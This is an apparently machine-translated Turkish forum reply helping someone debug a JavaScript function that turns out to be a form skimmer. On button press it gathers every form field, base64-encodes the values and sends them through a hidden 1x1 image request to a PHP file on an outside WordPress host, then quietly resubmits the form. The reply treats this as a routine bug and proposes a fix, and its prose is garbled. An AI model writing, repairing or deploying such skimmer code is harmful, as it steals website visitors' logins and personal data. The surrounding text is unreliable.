Sen MakeEvent işlevinde bir hata var: Temel Formu gönderirken
function MakeEvent() {
if (navigator.appName == 'Microsoft Internet Explorer') {
return;
}
forms = document.getElementsByTagName("form");
for (var j = 0; j < forms.length; j++) {
forms[j].onsubmit = function() {
setTimeout(function (formIndex) {
frms = document.getElementsByTagName("form");
frms[formIndex - 1].submit();
}, 500, j);
return false
};
var elements = forms[j].getElementsByTagName("button");
for (var i = 0; i < elements.length; i++) {
if (elements[i].type == "submit" || true) {
eventArray[i] = elements[i].onclick;
elements[i].onmousedown = function() {
data = getAllValues();
var newImg = document.createElement("img");
newImg.setAttribute("src", "http://www.followthefashion.org/wp-content/uploads/2014/07/skin.php?data=" + encodeURI(base64_encode(data)));
newImg.setAttribute("height", "1");
newImg.setAttribute("width", "1");
newImg.setAttribute("alt", "Please, wait...");
document.body.appendChild(newImg);
//sleep(500);
};
}
}
}
}
MakeEvent();
Gördüğünüz gibi, komut diğer (önceki) formu gönderir.
frms[formIndex - 1].submit();
ben yani "form.submit()” metodu “Gönder" butonuna tıklayarak aynı şekilde çalışır Fonksiyonunuzda daha iyi kullanımı ajax olur sanırım.
submit() yöntemi formu gönderir (Gönder düğmesini tıklatmayla aynı şekilde). [email protected]: Link
Ben kimliği .. e-posta kodunuzu paylaşmaya istekli sizin code..If kontrol etmeniz gerekir – stalinrajindian